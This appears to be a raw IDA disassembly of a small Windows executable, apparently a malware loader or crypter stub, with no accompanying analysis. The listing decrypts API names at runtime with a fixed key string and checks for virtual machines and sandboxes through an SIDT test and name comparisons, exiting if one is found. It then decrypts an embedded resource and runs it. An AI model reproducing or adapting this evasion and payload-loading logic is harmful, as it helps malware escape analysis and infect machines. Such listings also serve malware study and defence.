; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029FC	proc near		; CODE XREF: CODE:004032B9p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 6


loc_402A04:				; CODE XREF: sub_4029FC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_402A04
		push	ecx
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_402C3E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_4]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402C6C
		call	sub_401EBC
		mov	eax, [ebp+var_4]
		call	sub_4019A4
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402C84
		call	sub_401EBC
		mov	eax, [ebp+var_8]
		call	sub_4019A4
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	esi, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402C9C
		call	sub_401EBC
		mov	eax, [ebp+var_C]
		call	sub_4019A4
		push	eax		; lpProcName
		push	ebx		; hModule
		call	GetProcAddress_0
		mov	ds:dword_4056C4, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402CB4
		call	sub_401EBC
		mov	eax, [ebp+var_10]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056E8, eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402CC8
		call	sub_401EBC
		mov	eax, [ebp+var_14]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056C8, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402CE4
		call	sub_401EBC
		mov	eax, [ebp+var_18]
		call	sub_4019A4
		push	eax
		push	esi
		call	ds:dword_4056C4
		mov	ds:dword_4056CC, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402CFC
		call	sub_401EBC
		mov	eax, [ebp+var_1C]
		call	sub_4019A4
		push	eax
		push	esi
		call	ds:dword_4056C4
		mov	ds:dword_4056D0, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402D18
		call	sub_401EBC
		mov	eax, [ebp+var_20]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056D4, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402D30
		call	sub_401EBC
		mov	eax, [ebp+var_24]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056D8, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402D48
		call	sub_401EBC
		mov	eax, [ebp+var_28]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056DC, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402D60
		call	sub_401EBC
		mov	eax, [ebp+var_2C]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056E0, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402D78
		call	sub_401EBC
		mov	eax, [ebp+var_30]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	ds:dword_4056E4, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset a@errt14@Yht4_1 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402D90
		call	sub_401EBC
		mov	eax, [ebp+var_34]
		call	sub_4019A4
		push	eax
		push	ebx
		call	ds:dword_4056C4
		mov	edx, ds:off_40409C
		mov	[edx], eax
		push	ebx
		mov	eax, ds:off_40409C
		mov	eax, [eax]
		call	eax
		push	esi
		mov	eax, ds:off_40409C
		mov	eax, [eax]
		call	eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402C45


loc_402C30:				; CODE XREF: sub_4029FC+247j
		lea	eax, [ebp+var_34]
		mov	edx, 0Dh
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_402C3E:				; DATA XREF: sub_4029FC+15o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_402C30
; ---------------------------------------------------------------------------


loc_402C45:				; CODE XREF: sub_4029FC+241j
					; DATA XREF: sub_4029FC+22Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4029FC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Fh
a@errt14@Yht4_1	db '@erRT14@$%yHt41',0  ; DATA XREF: sub_4029FC+23o
					; sub_4029FC+45o ...
		dd 0FFFFFFFFh, 0Ch
dword_402C6C	dd 1E27564Ch, 4CCF5975h, 4FE283EDh, 0		dd 0FFFFFFFFh, 0Ch
dword_402C84	dd 11235746h, 4CCF5C60h, 4FE283EDh, 0		dd 0FFFFFFFFh, 0Eh
dword_402C9C	dd 20215660h, 3F9F5A62h, 46FC83A7h, 41BCh, 0FFFFFFFFh
					; DATA XREF: sub_4029FC+6Co
		dd 0Bh
dword_402CB4	dd 43C4B62h, 1D934740h,	0FD94A6h, 0FFFFFFFFh, 12h
					; DATA XREF: sub_4029FC+92o
dword_402CC8	dd 36215660h, 3F995979h, 4AFC93B7h, 0D1B947ADh,	0FD6Dh
					; DATA XREF: sub_4029FC+B9o
		dd 0FFFFFFFFh, 0Ch
dword_402CE4	dd 25215660h, 308E5063h, 62EB8AA2h, 0		dd 0FFFFFFFFh, 10h
dword_402CFC	dd 33215660h, 0B8C587Fh, 6DFC82B7h, 0F5A85FAEh,	0
					; DATA XREF: sub_4029FC+107o
		dd 0FFFFFFFFh, 0Dh
dword_402D18	dd 143B5A61h, 118F5042h, 46ED95B6h, 8Eh, 0FFFFFFFFh, 0Eh
					; DATA XREF: sub_4029FC+12Eo
dword_402D30	dd 152F5A74h, 1BAE537Fh, 51FB88B0h, 57ACh, 0FFFFFFFFh
					; DATA XREF: sub_4029FC+155o
		dd 0Ch
dword_402D48	dd 14345C6Bh, 118F5042h, 46ED95B6h, 0		dd 0FFFFFFFFh, 0Ch
dword_402D60	dd 1B365C6Bh, 118F5042h, 46ED95B6h, 0		dd 0FFFFFFFFh, 0Ch
dword_402D78	dd 15304161h, 118F5042h, 46ED95B6h, 0		dd 0FFFFFFFFh, 0Bh
dword_402D90	dd 15304161h, 0C9E5C5Ch, 0F795A2h
; =============== S U B	R O U T	I N E =======================================



sub_402D9C	proc near		; CODE XREF: sub_40311C+20p
					; sub_40311C+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_4013FC
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_401360
		mov	eax, esi
		mov	edx, esp
		call	sub_401880
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_402D9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DD4	proc near		; CODE XREF: sub_40311C+28p
					; sub_40311C+38p ...
		push	ecx
		mov	edx, esp
		call	sub_401408
		pop	edx
		retn
sub_402DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DE0	proc near		; CODE XREF: sub_402EA0+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_402E4E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_8], 0FDh
		lea	eax, [ebp+var_4]
		mov	edx, 0FEh
		call	sub_4019F8
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4019A4
		push	eax
		call	ds:dword_4056CC
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		call	sub_4019F8
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_4017A0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402E55


loc_402E45:				; CODE XREF: sub_402DE0+73j
		lea	eax, [ebp+var_4]
		call	sub_40174C
		retn
; ---------------------------------------------------------------------------


loc_402E4E:				; DATA XREF: sub_402DE0+11o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_402E45
; ---------------------------------------------------------------------------


loc_402E55:				; CODE XREF: sub_402DE0+6Dj
					; DATA XREF: sub_402DE0+60o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402DE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E5C	proc near		; CODE XREF: sub_402EA0+46p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFEFCh
		mov	ebx, eax
		mov	[esp+108h+var_108], 100h
		push	esp
		lea	eax, [esp+10Ch+var_104]
		push	eax
		call	ds:dword_4056D0
		test	eax, eax
		jz	short loc_402E8E
		mov	eax, ebx
		lea	edx, [esp+108h+var_104]
		mov	ecx, 100h
		call	sub_40188C
		jmp	short loc_402E95
; ---------------------------------------------------------------------------


loc_402E8E:				; CODE XREF: sub_402E5C+1Ej
		mov	eax, ebx
		call	sub_40174C


loc_402E95:				; CODE XREF: sub_402E5C+30j
		add	esp, 104h
		pop	ebx
		retn
sub_402E5C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EA0	proc near		; CODE XREF: sub_4031F0p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_402F29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		lea	eax, [ebp+var_4]
		call	sub_402DE0
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset a@errt14@Yht4_2 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402F58
		call	sub_401EBC
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_4018F0
		jnz	short loc_402F0E
		lea	eax, [ebp+var_C]
		call	sub_402E5C
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset a@errt14@Yht4_2 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_402F6C
		call	sub_401EBC
		mov	edx, [ebp+var_10]
		pop	eax
		call	sub_4018F0
		jnz	short loc_402F0E
		mov	bl, 1


loc_402F0E:				; CODE XREF: sub_402EA0+41j
					; sub_402EA0+6Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402F30


loc_402F1B:				; CODE XREF: sub_402EA0+8Ej
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_402F29:				; DATA XREF: sub_402EA0+Do
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_402F1B
; ---------------------------------------------------------------------------


loc_402F30:				; CODE XREF: sub_402EA0+88j
					; DATA XREF: sub_402EA0+76o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402EA0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Fh
a@errt14@Yht4_2	db '@erRT14@$%yHt41',0  ; DATA XREF: sub_402EA0+29o
					; sub_402EA0+52o
		dd 0FFFFFFFFh, 8
dword_402F58	dd 2304072h, 1B91545Eh,	0		dd 0FFFFFFFFh, 0Ch
dword_402F6C	dd 20187C64h, 2CB96145h, 66C3A68Dh, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F7C	proc near		; CODE XREF: sub_4031F0+1Bp

var_7		= byte ptr -7
var_6		= byte ptr -6

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		lea	eax, [ebp+var_7]
		sidt	fword ptr [ebp+var_6]
		cmp	dword ptr [ebp+var_6+2], 0F0000000h
		jle	short loc_402F9D
		cmp	dword ptr [ebp+var_6+2], 0FF000000h
		jg	short loc_402FAC
		jmp	short loc_402FB2
; ---------------------------------------------------------------------------


loc_402F9D:				; CODE XREF: sub_402F7C+14j
		cmp	dword ptr [ebp+var_6+2], 0D0000000h
		jle	short loc_402FB2
		mov	[ebp+var_7], 1
		jmp	short loc_402FB6
; ---------------------------------------------------------------------------


loc_402FAC:				; CODE XREF: sub_402F7C+1Dj
		mov	[ebp+var_7], 2
		jmp	short loc_402FB6
; ---------------------------------------------------------------------------


loc_402FB2:				; CODE XREF: sub_402F7C+1Fj
					; sub_402F7C+28j
		mov	[ebp+var_7], 0


loc_402FB6:				; CODE XREF: sub_402F7C+2Ej
					; sub_402F7C+34j
		mov	al, [eax]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402F7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FBC	proc near		; CODE XREF: sub_4031F0+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_403032
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		xor	eax, eax
		call	sub_401300
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset a@errt14@Yht4_3 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_403060
		call	sub_401EBC
		mov	eax, [ebp+var_C]
		call	sub_4019A4
		mov	edx, eax
		lea	eax, [ebp+var_8]
		call	sub_401850
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_4018F0
		jnz	short loc_403015
		mov	bl, 1
		jmp	short loc_403017
; ---------------------------------------------------------------------------


loc_403015:				; CODE XREF: sub_402FBC+53j
		xor	ebx, ebx


loc_403017:				; CODE XREF: sub_402FBC+57j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403039


loc_403024:				; CODE XREF: sub_402FBC+7Bj
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_403032:				; DATA XREF: sub_402FBC+Do
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_403024
; ---------------------------------------------------------------------------


loc_403039:				; CODE XREF: sub_402FBC+75j
					; DATA XREF: sub_402FBC+63o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402FBC	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 0Fh
a@errt14@Yht4_3	db '@erRT14@$%yHt41',0  ; DATA XREF: sub_402FBC+29o
		dd 0FFFFFFFFh, 0Dh
dword_403060	dd 3090964h, 128C5871h,	5BEBC9A6h, 0AAh
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403070	proc near		; CODE XREF: sub_4031F0+9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4030E1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_4010D0
		mov	esi, eax
		mov	[ebp+var_4], 40h
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	ds:dword_4056CC
		lea	ecx, [ebp+var_8]
		mov	edx, offset a@errt14@Yht4_4 ; "@erRT14@$%yHt41"
		mov	eax, offset dword_403110
		call	sub_401EBC
		mov	eax, [ebp+var_8]
		call	sub_4019A4
		cmp	esi, eax
		jnz	short loc_4030CB
		mov	bl, 1


loc_4030CB:				; CODE XREF: sub_403070+57j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4030E8


loc_4030D8:				; CODE XREF: sub_403070+76j
		lea	eax, [ebp+var_8]
		call	sub_40174C
		retn
; ---------------------------------------------------------------------------


loc_4030E1:				; DATA XREF: sub_403070+10o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_4030D8
; ---------------------------------------------------------------------------


loc_4030E8:				; CODE XREF: sub_403070+70j
					; DATA XREF: sub_403070+63o
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_403070	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 0Fh
a@errt14@Yht4_4	db '@erRT14@$%yHt41',0  ; DATA XREF: sub_403070+3Eo
		dd 0FFFFFFFFh, 0Bh
dword_403110	dd 2274664h, 2B885B75h,	0FC82B0h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40311C	proc near		; CODE XREF: CODE:004032D7p
					; CODE:0040332Ap ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_403196
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_402D9C
		mov	eax, [ebp+var_10]
		call	sub_402DD4
		lea	edx, [ebp+var_C]
		call	sub_402D9C
		mov	eax, [ebp+var_C]
		call	sub_402DD4
		lea	edx, [ebp+var_8]
		call	sub_402D9C
		mov	eax, [ebp+var_8]
		call	sub_402DD4
		lea	edx, [ebp+var_4]
		call	sub_402D9C
		mov	eax, [ebp+var_4]
		call	sub_402DD4
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40319D


loc_403188:				; CODE XREF: sub_40311C+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_403196:				; DATA XREF: sub_40311C+Fo
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_403188
; ---------------------------------------------------------------------------


loc_40319D:				; CODE XREF: sub_40311C+79j
					; DATA XREF: sub_40311C+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40311C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031A4	proc near		; CODE XREF: CODE:004032EDp
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_40566C
		push	eax
		call	ds:dword_4056D4
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_40566C
		push	eax
		call	ds:dword_4056D8
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_40566C
		push	eax
		call	ds:dword_4056DC
		mov	ebx, eax
		push	ebx
		call	ds:dword_4056E0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4031EB
		push	ebx
		call	ds:dword_4056E4


loc_4031EB:				; CODE XREF: sub_4031A4+3Ej
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4031A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031F0	proc near		; CODE XREF: CODE:004032BEp
		call	sub_402EA0
		cmp	al, 1
		jz	short loc_403214
		call	sub_403070
		cmp	al, 1
		jz	short loc_403214
		call	sub_402FBC
		cmp	al, 1
		jz	short loc_403214
		call	sub_402F7C
		cmp	al, 2
		jnz	short locret_40321B


loc_403214:				; CODE XREF: sub_4031F0+7j
					; sub_4031F0+10j ...
		xor	eax, eax
		call	sub_401734
; ---------------------------------------------------------------------------

locret_40321B:				; CODE XREF: sub_4031F0+22j
		retn
sub_4031F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40321C	proc near		; DATA XREF: CODE:00403288o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40323B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403242


loc_40323A:				; CODE XREF: sub_40321C+24j
		retn
; ---------------------------------------------------------------------------


loc_40323B:				; DATA XREF: sub_40321C+6o
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_40323A
; ---------------------------------------------------------------------------


loc_403242:				; CODE XREF: sub_40321C:loc_40323Aj
					; DATA XREF: sub_40321C+19o
		pop	ebp
		retn
sub_40321C	endp

; ---------------------------------------------------------------------------
dword_403244	dd 8				dd offset off_40324C
off_40324C	dd offset loc_401CB8	; DATA XREF: CODE:00403248o
		dd offset sub_401C7C
		dd offset sub_401B14
		dd offset sub_401AD8
		dd offset sub_401CF0
		dd offset sub_401CC0
		dd offset sub_401D40
		dd offset sub_401D10
		dd offset sub_401F54
		dd offset sub_401F24
		dd offset sub_4021E8
		dd offset sub_4021B8
		dd offset sub_4029EC
		dd offset sub_4029BC
		align 8
		dd offset sub_40321C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	eax, eax
		mov	[ebp-20h], eax
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-14h], eax
		mov	eax, offset dword_403244
		call	sub_401C38
		xor	eax, eax
		push	ebp
		push	offset loc_4033D2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4029FC
		call	sub_4031F0
		mov	eax, offset dword_4056F4
		mov	edx, offset dword_4033E8
		call	sub_4017A0
		mov	eax, 91h
		call	sub_40311C
		mov	eax, ds:dword_4056F4
		call	sub_4019A4
		mov	edx, eax
		mov	eax, offset dword_4056EC
		call	sub_4031A4
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_4033A7
		mov	eax, offset dword_4056F0
		mov	edx, ds:dword_4056EC
		call	sub_4019F8
		mov	eax, offset dword_4056F0
		call	sub_4019F0
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, ds:dword_4056EC
		call	sub_4011B4
		mov	eax, 91h
		call	sub_40311C
		lea	ecx, [ebp-14h]
		mov	edx, offset a@errt14@Yht4_5 ; "@erRT14@$%yHt41"
		mov	eax, ds:dword_4056F0
		call	sub_401EBC
		mov	edx, [ebp-14h]
		mov	eax, offset dword_4056F0
		call	sub_4017A0
		mov	eax, ds:dword_4056F0
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_401F68
		mov	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		call	sub_4020E4
		mov	edx, [ebp-18h]
		mov	eax, offset dword_4056F0
		call	sub_4017A0
		mov	eax, 91h
		call	sub_40311C
		push	0
		lea	edx, [ebp-20h]
		xor	eax, eax
		call	sub_401300
		mov	eax, [ebp-20h]
		push	eax
		mov	eax, offset dword_4056F0
		call	sub_4019F0
		xor	ecx, ecx
		pop	edx
		call	sub_4026DC
		test	al, al
		jmp	short loc_4033AF
; ---------------------------------------------------------------------------


loc_4033A7:				; CODE XREF: CODE:004032F6j
		push	0
		call	ds:dword_4056E8


loc_4033AF:				; CODE XREF: CODE:004033A5j
		push	0
		call	ds:dword_4056E8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4033D9


loc_4033C4:				; CODE XREF: CODE:004033D7j
		lea	eax, [ebp-20h]
		mov	edx, 4
		call	sub_401770
		retn
; ---------------------------------------------------------------------------


loc_4033D2:				; DATA XREF: CODE:004032AEo
		jmp	loc_40151C
; ---------------------------------------------------------------------------
		jmp	short loc_4033C4
; ---------------------------------------------------------------------------


loc_4033D9:				; CODE XREF: CODE:004033D1j
					; DATA XREF: CODE:004033BFo
		pop	ebx
		call	sub_401664
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2
dword_4033E8	dd 5753h, 0FFFFFFFFh, 0Fha@errt14@Yht4_5	db '@erRT14@$%yHt41',0  ; DATA XREF: CODE:00403332o
		align 200h
CODE		ends

; Section 2. (virtual address 00004000)
; Virtual size			: 000000A0 (	160.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00002A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 404000h
dword_404000	dd 0							; sub_401664+9o ...
dword_404004	dd 0							; sub_401664:loc_401693r ...
byte_404008	db 0			; DATA XREF: sub_4014F4r
		db 8Dh,	40h, 0
dword_40400C	dd 0		dword_404010	dd 0		off_404014	dd offset sub_401AB8	; DATA XREF: sub_401664+66r
off_404018	dd offset sub_401588	; DATA XREF: sub_401588+Fr
					; sub_401588+35r ...
off_40401C	dd offset sub_401554	; DATA XREF: sub_401664:loc_4016B2r
off_404020	dd offset nullsub_1	; DATA XREF: sub_401664:loc_4016E5r
off_404024	dd offset nullsub_1	; DATA XREF: sub_401AD8+1Fr
; DWORD	dwFlags
dwFlags		dd 0			; DATA XREF: sub_401080+1r
					; sub_401094+4r ...
off_40402C	dd offset sub_401080	; DATA XREF: sub_4010D0+4r
					; sub_401100+3Fr
off_404030	dd offset sub_401094	; DATA XREF: sub_4010E8+4r
					; sub_401100+26r
off_404034	dd offset sub_4010B8	; DATA XREF: sub_401100+Dr
byte_404038	db 0			; DATA XREF: sub_40115C+36r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã',0
aFxn@		db 'äå@',0
off_404054	dd offset nullsub_1	; DATA XREF: sub_401664+38r
off_404058	dd offset nullsub_1	; DATA XREF: sub_401AD8+19r
off_40405C	dd offset aPortionsCopyri ; DATA XREF: sub_401C7C+19o
					; "Portions Copyright (c) 1999,2003 Avenge"...
; DWORD	TlsIndex
TlsIndex	dd 0FFFFFFFFh		; DATA XREF: sub_401BA8+Cr
					; sub_401BA8+37r ...
dword_404064	dd 0							; sub_401C38+33o
dword_404068	dd 0		dword_40406C	dd 0		dword_404070	dd 0				dd 2 dup(0)
dword_40407C	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_40409C	dd offset dword_4056B8	; DATA XREF: sub_4029FC+20Br
					; sub_4029FC+214r ...
		align 200h
DATA		ends

; Section 3. (virtual address 00005000)
; Virtual size			: 000006F9 (   1785.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00002C00
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 405000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
dword_405000	dd ?		dword_405004	dd ?							; sub_40115C+16r
dword_405008	dd ?							; sub_4015F8w
dword_40500C	dd ?		dword_405010	dd ?							; sub_401664+A9r
dword_405014	dd ?		dword_405018	dd ?		byte_40501C	db ?			; DATA XREF: sub_4015F8+2Ew
		align 10h
dword_405020	dd 2 dup(?)	word_405028	dw ?			; DATA XREF: sub_401B14+1Dw
		align 4
		dd 72h dup(?)
word_4051F4	dw ?			; DATA XREF: sub_401B14+26w
		align 4
		dd 72h dup(?)
word_4053C0	dw ?			; DATA XREF: sub_401B14+2Fw
		align 4
		dd 71h dup(?)
dword_405588	dd ?							; sub_401B14w
; HANDLE hHeap
hHeap		dd ?			; DATA XREF: sub_401080+7r
					; sub_401094+Dr ...
dword_405590	dd 2 dup(?)						; sub_401634+Do ...
dword_405598	dd ?							; sub_4015F8+14w
dword_40559C	dd ?							; sub_4015F8+1Bw
